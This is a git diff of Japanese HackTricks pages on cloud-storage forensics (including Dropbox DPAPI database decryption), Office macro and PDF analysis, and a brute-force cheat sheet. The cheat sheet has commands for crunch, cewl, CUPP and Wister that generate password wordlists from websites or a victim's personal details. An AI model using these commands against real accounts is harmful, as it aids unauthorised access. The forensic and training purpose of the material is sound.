<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>を使って、ゼロからヒーローまでAWSハッキングを学びましょう!</summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する:[**@hacktricks\_live**](https://twitter.com/hacktricks\_live)
|
||||
- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスしてください:
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -35,14 +35,14 @@ Windowsでは、OneDriveフォルダを`\Users\<username>\AppData\Local\Microsof
|
|||
- レポート生成時刻
|
||||
- OSのHDのサイズ
|
||||
|
||||
CIDを見つけたら、**このIDを含むファイルを検索**することが推奨されます。OneDriveと同期されたファイルの名前が含まれている可能性がある_**\<CID>.ini**_および_**\<CID>.dat**_という名前のファイルを見つけることができるかもしれません。
|
||||
CIDを見つけたら、**このIDを含むファイルを検索**することをお勧めします。OneDriveと同期されたファイルの名前が記載されている可能性がある_**\<CID>.ini**_および_**\<CID>.dat**_という名前のファイルを見つけることができるかもしれません。
|
||||
|
||||
## Google Drive
|
||||
|
||||
Windowsでは、メインのGoogle Driveフォルダを`\Users\<username>\AppData\Local\Google\Drive\user_default`で見つけることができます。\
|
||||
このフォルダには、アカウントのメールアドレス、ファイル名、タイムスタンプ、ファイルのMD5ハッシュなどの情報が含まれたSync\_log.logというファイルが含まれています。削除されたファイルも、その対応するMD5とともにそのログファイルに表示されます。
|
||||
このフォルダには、アカウントのメールアドレス、ファイル名、タイムスタンプ、ファイルのMD5ハッシュなどの情報が含まれたSync\_log.logというファイルがあります。削除されたファイルも、対応するMD5とともにそのログファイルに表示されます。
|
||||
|
||||
ファイル**`Cloud_graph\Cloud_graph.db`**は、**`cloud_graph_entry`**というテーブルを含むsqliteデータベースで、このテーブルでは、**同期されたファイル**の**名前**、変更時間、サイズ、およびファイルのMD5チェックサムを見つけることができます。
|
||||
ファイル**`Cloud_graph\Cloud_graph.db`**は、**`cloud_graph_entry`**というテーブルを含むsqliteデータベースで、このテーブルでは、**同期されたファイル**の**名前**、変更時刻、サイズ、およびファイルのMD5チェックサムを見つけることができます。
|
||||
|
||||
データベース**`Sync_config.db`**のテーブルデータには、アカウントのメールアドレス、共有フォルダのパス、Google Driveのバージョンが含まれています。
|
||||
|
||||
|
@ -64,7 +64,7 @@ Dropboxはファイルを管理するために**SQLiteデータベース**を使
|
|||
|
||||
".dbx"拡張子は、これらのデータベースが**暗号化**されていることを意味します。Dropboxは**DPAPI**を使用しています([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))
|
||||
|
||||
Dropboxが使用する暗号化をよりよく理解するためには、[https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html)を読んでください。
|
||||
Dropboxが使用する暗号化をよりよく理解するには、[https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html)を読んでください。
|
||||
|
||||
ただし、主な情報は次のとおりです:
|
||||
|
||||
|
@ -75,16 +75,16 @@ Dropboxが使用する暗号化をよりよく理解するためには、[https:
|
|||
|
||||
その情報以外に、データベースを復号化するには以下が必要です:
|
||||
|
||||
- **暗号化されたDPAPIキー**:これは、`NTUSER.DAT\Software\Dropbox\ks\client`内のレジストリで見つけることができます(このデータをバイナリとしてエクスポートします)
|
||||
- **暗号化されたDPAPIキー**:これは、`NTUSER.DAT\Software\Dropbox\ks\client`内のレジストリから見つけることができます(このデータをバイナリとしてエクスポートします)
|
||||
- **`SYSTEM`**および**`SECURITY`**ハイブ
|
||||
- **DPAPIマスターキー**:これは`\Users\<username>\AppData\Roaming\Microsoft\Protect`で見つけることができます
|
||||
- **DPAPIマスターキー**:これは`\Users\<username>\AppData\Roaming\Microsoft\Protect`内に見つけることができます
|
||||
- Windowsユーザーの**ユーザー名**と**パスワード**
|
||||
|
||||
その後、[**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)****ツールを使用できます:
|
||||
その後、[**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)を使用できます:
|
||||
|
||||
![](<../../../.gitbook/assets/image (448).png>)
|
||||
|
||||
すべてが予想通りに進むと、ツールは復元するために必要な**プライマリキー**を示します。元のキーを復元するには、この[cyber\_chefレシピ](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)を使用し、プライマリキーを受け取った「パスフレーズ」として設定します。
|
||||
すべてが予想通りに進むと、ツールは**復元に使用する主キー**を示します。元のキーを復元するには、この[cyber\_chefレシピ](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)を使用し、主キーを「パスフレーズ」としてレシピ内に入力します。
|
||||
|
||||
結果の16進数は、データベースを復号化するために使用される最終キーであり、次のように復号化できます:
|
||||
```bash
|
||||
|
@ -113,24 +113,24 @@ sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the con
|
|||
- **deleted\_fields**: Dropboxで削除されたファイル
|
||||
- **date\_added**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**できます。\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</summary>
|
||||
<summary><strong>**htARTE(HackTricks AWS Red Team Expert)**でAWSハッキングをゼロからヒーローまで学ぶ</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)をフォローしてください
|
||||
- ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください
|
||||
- **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)をフォローする
|
||||
- **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,53 +6,53 @@
|
|||
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) をフォローする**
|
||||
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出してください。
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** または [telegramグループ](https://t.me/peass) に**参加** または **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) を**フォロー** してください。
|
||||
* **ハッキングトリックを共有するには** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリにPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築** および **自動化** できます。\
|
||||
今すぐアクセスを取得:
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築** および **自動化** してください。\
|
||||
今すぐアクセスしてください:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
詳細については [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) をチェックしてください。これは要約です:
|
||||
詳細については [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) をチェックしてください。これは要約です:
|
||||
|
||||
Microsoft は多くのオフィスドキュメント形式を作成しており、主なタイプは **OLE形式**(RTF、DOC、XLS、PPTなど)と **Office Open XML (OOXML)形式**(DOCX、XLSX、PPTXなど)です。これらの形式にはマクロが含まれることがあり、それによりフィッシングやマルウェアの標的になります。OOXMLファイルはzipコンテナとして構造化されており、解凍してファイルとフォルダの階層、XMLファイルの内容を表示できます。
|
||||
Microsoft は多くのオフィスドキュメント形式を作成しており、主なタイプは **OLE形式**(RTF、DOC、XLS、PPTなど)と **Office Open XML(OOXML)形式**(DOCX、XLSX、PPTXなど)です。これらの形式にはマクロが含まれることがあり、それによりフィッシングやマルウェアの標的になります。OOXMLファイルはzipコンテナとして構造化されており、解凍してファイルとフォルダの階層、XMLファイルの内容を表示できます。
|
||||
|
||||
OOXMLファイルの構造を探るために、ドキュメントを解凍するコマンドと出力構造が提供されています。これらのファイルにデータを隠す技術が文書化されており、CTFチャレンジ内でのデータの隠蔽に関する革新が示されています。
|
||||
OOXMLファイルの構造を調査するために、ドキュメントを解凍するためのコマンドと出力構造が提供されています。これらのファイルにデータを隠す技術が文書化されており、CTFチャレンジ内でのデータの隠蔽に関する革新が続いています。
|
||||
|
||||
**oletools** と **OfficeDissector** は、OLEおよびOOXMLドキュメントを調査するための包括的なツールセットを提供しています。これらのツールは、埋め込まれたマクロを特定し、分析するのに役立ちます。これらのマクロは、通常、マルウェアの配信ベクトルとして機能し、追加の悪意のあるペイロードをダウンロードして実行します。VBAマクロの分析は、Libre Officeを使用してMicrosoft Officeを使用せずに行うことができ、ブレークポイントとウォッチ変数でデバッグが可能です。
|
||||
分析のために、**oletools** と **OfficeDissector** は、OLEおよびOOXMLドキュメントを調査するための包括的なツールセットを提供しています。これらのツールは、埋め込まれたマクロを特定し、分析するのに役立ちます。これらのマクロは、通常、マルウェアの配信ベクトルとして機能し、通常は追加の悪意のあるペイロードをダウンロードして実行します。VBAマクロの分析は、Libre Office を使用してMicrosoft Officeなしで行うことができ、ブレークポイントとウォッチ変数を使用したデバッグが可能です。
|
||||
|
||||
**oletools** のインストールと使用は簡単で、pipを使用してインストールするためのコマンドが提供され、ドキュメントからマクロを抽出するための手順が示されています。マクロの自動実行は、`AutoOpen`、`AutoExec`、または `Document_Open` などの関数によってトリガーされます。
|
||||
```bash
|
||||
sudo pip3 install -U oletools
|
||||
olevba -c /path/to/document #Extract macros
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**し**自動化**します。\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も**高度な**コミュニティツールによって強化された**ワークフローを簡単に構築**し**自動化**します。\
|
||||
今すぐアクセスしてください:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>で**ゼロからヒーローまでAWSハッキングを学ぶ**</summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのスウェグ**](https://peass.creator-spring.com)を入手してください
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)を**フォロー**してください。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
* [**公式PEASS & HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,19 +6,19 @@
|
|||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
|
||||
- **Discordグループ**に参加する💬(https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**🐦で**@hacktricks\_live**(https://twitter.com/hacktricks\_live)をフォローする
|
||||
- **HackTricks**(https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する:[**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスを取得:
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって**パワード**された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスしてください:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -26,16 +26,16 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
PDF形式は、データを隠す可能性が高い複雑さで知られており、CTFフォレンジックチャレンジの焦点となっています。プレーンテキスト要素とバイナリオブジェクトを組み合わせ、圧縮されたり暗号化されたりする可能性があり、JavaScriptやFlashなどの言語でスクリプトを含むことができます。PDFの構造を理解するためには、Didier Stevensの[入門資料](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/)を参照するか、テキストエディタやOrigamiなどのPDF固有のエディタを使用することができます。
|
||||
|
||||
PDFの詳細な探索や操作のためには、[qpdf](https://github.com/qpdf/qpdf)や[Origami](https://github.com/mobmewireless/origami-pdf)などのツールが利用可能です。PDF内の隠されたデータは、次のように隠されている可能性があります:
|
||||
PDFを詳細に探索または操作するためには、[qpdf](https://github.com/qpdf/qpdf)や[Origami](https://github.com/mobmewireless/origami-pdf)などのツールが利用可能です。PDF内の隠されたデータは、次のように隠されている可能性があります:
|
||||
|
||||
- 不可視のレイヤー
|
||||
- AdobeのXMPメタデータ形式
|
||||
- インクリメンタルジェネレーション
|
||||
- 背景と同じ色のテキスト
|
||||
- 画像の後ろや画像の上にあるテキスト
|
||||
- 非表示のコメント
|
||||
* 不可視のレイヤー
|
||||
* AdobeのXMPメタデータ形式
|
||||
* インクリメンタルジェネレーション
|
||||
* 背景と同じ色のテキスト
|
||||
* 画像の後ろのテキストまたは画像の上に重なるテキスト
|
||||
* 非表示のコメント
|
||||
|
||||
カスタムPDF分析のためには、[PeepDF](https://github.com/jesparza/peepdf)などのPythonライブラリを使用して、独自の解析スクリプトを作成することができます。さらに、PDFが隠されたデータを保存する可能性が非常に広範囲であるため、PDFのリスクと対策に関するNSAガイドなどのリソースは、元の場所でホストされていなくても貴重な洞察を提供しています。[ガイドのコピー](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf)やAnge Albertiniによる[PDF形式のトリック](https://github.com/corkami/docs/blob/master/PDF/PDF.md)のコレクションは、このトピックに関するさらなる読書を提供しています。
|
||||
カスタムPDF分析のためには、[PeepDF](https://github.com/jesparza/peepdf)などのPythonライブラリを使用して、独自の解析スクリプトを作成できます。さらに、PDFの隠されたデータストレージの可能性は非常に広範囲であり、NSAによるPDFのリスクと対策に関するガイドなどのリソースは、元の場所でホストされていないものの、貴重な洞察を提供しています。ガイドの[コピー](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf)やAnge Albertiniによる[PDF形式のトリック](https://github.com/corkami/docs/blob/master/PDF/PDF.md)のコレクションは、このトピックに関するさらなる読書を提供できます。
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -43,10 +43,10 @@ PDFの詳細な探索や操作のためには、[qpdf](https://github.com/qpdf/q
|
|||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
|
||||
- **Discordグループ**に参加する💬(https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**🐦で**@hacktricks\_live**(https://twitter.com/hacktricks\_live)をフォローする
|
||||
- **HackTricks**(https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する:[**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# Brute Force - チートシート
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
|
@ -16,9 +16,9 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
|
||||
* 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -56,19 +56,19 @@ crunch 6 8 -t ,@@^^%%
|
|||
```
|
||||
### Cewl
|
||||
|
||||
Cewlは、Webサイトから単語リストを生成するためのツールです。これは、Webサイトのテキストを解析し、指定された深さまでリンクをたどり、単語を収集してリスト化します。これにより、ブルートフォース攻撃やパスワードスプレー攻撃で使用するためのカスタムワードリストを作成できます。
|
||||
Cewlは、Webサイトから単語リストを生成するためのツールです。通常、Cewlは、Webサイトのテキストから単語を抽出し、それらをリスト化します。これにより、後でブルートフォース攻撃やパスワードスプレー攻撃で使用するための単語リストを作成できます。
|
||||
```bash
|
||||
cewl example.com -m 5 -w words.txt
|
||||
```
|
||||
### [CUPP](https://github.com/Mebus/cupp)
|
||||
|
||||
被害者に関する知識(名前、日付など)に基づいてパスワードを生成します。
|
||||
被害者の情報(名前、日付など)に基づいてパスワードを生成します。
|
||||
```
|
||||
python3 cupp.py -h
|
||||
```
|
||||
### [Wister](https://github.com/cycurity/wister)
|
||||
|
||||
特定のターゲットに関して使用するためのユニークで理想的なワードリストを作成するために、与えられた単語から複数のバリエーションを作成することができるツールであるワードリストジェネレーターツール。
|
||||
特定のターゲットに関して使用するための一意で理想的なワードリストを作成するために、与えられた単語から複数のバリエーションを作成することができるツールであるワードリストジェネレーターツール。
|
||||
```bash
|
||||
python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst
|
||||
|
||||
|
@ -102,7 +102,7 @@ Finished in 0.920s.
|
|||
* [**https://hashkiller.io/listmanager**](https://hashkiller.io/listmanager)
|
||||
* [**https://github.com/Karanxa/Bug-Bounty-Wordlists**](https://github.com/Karanxa/Bug-Bounty-Wordlists)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
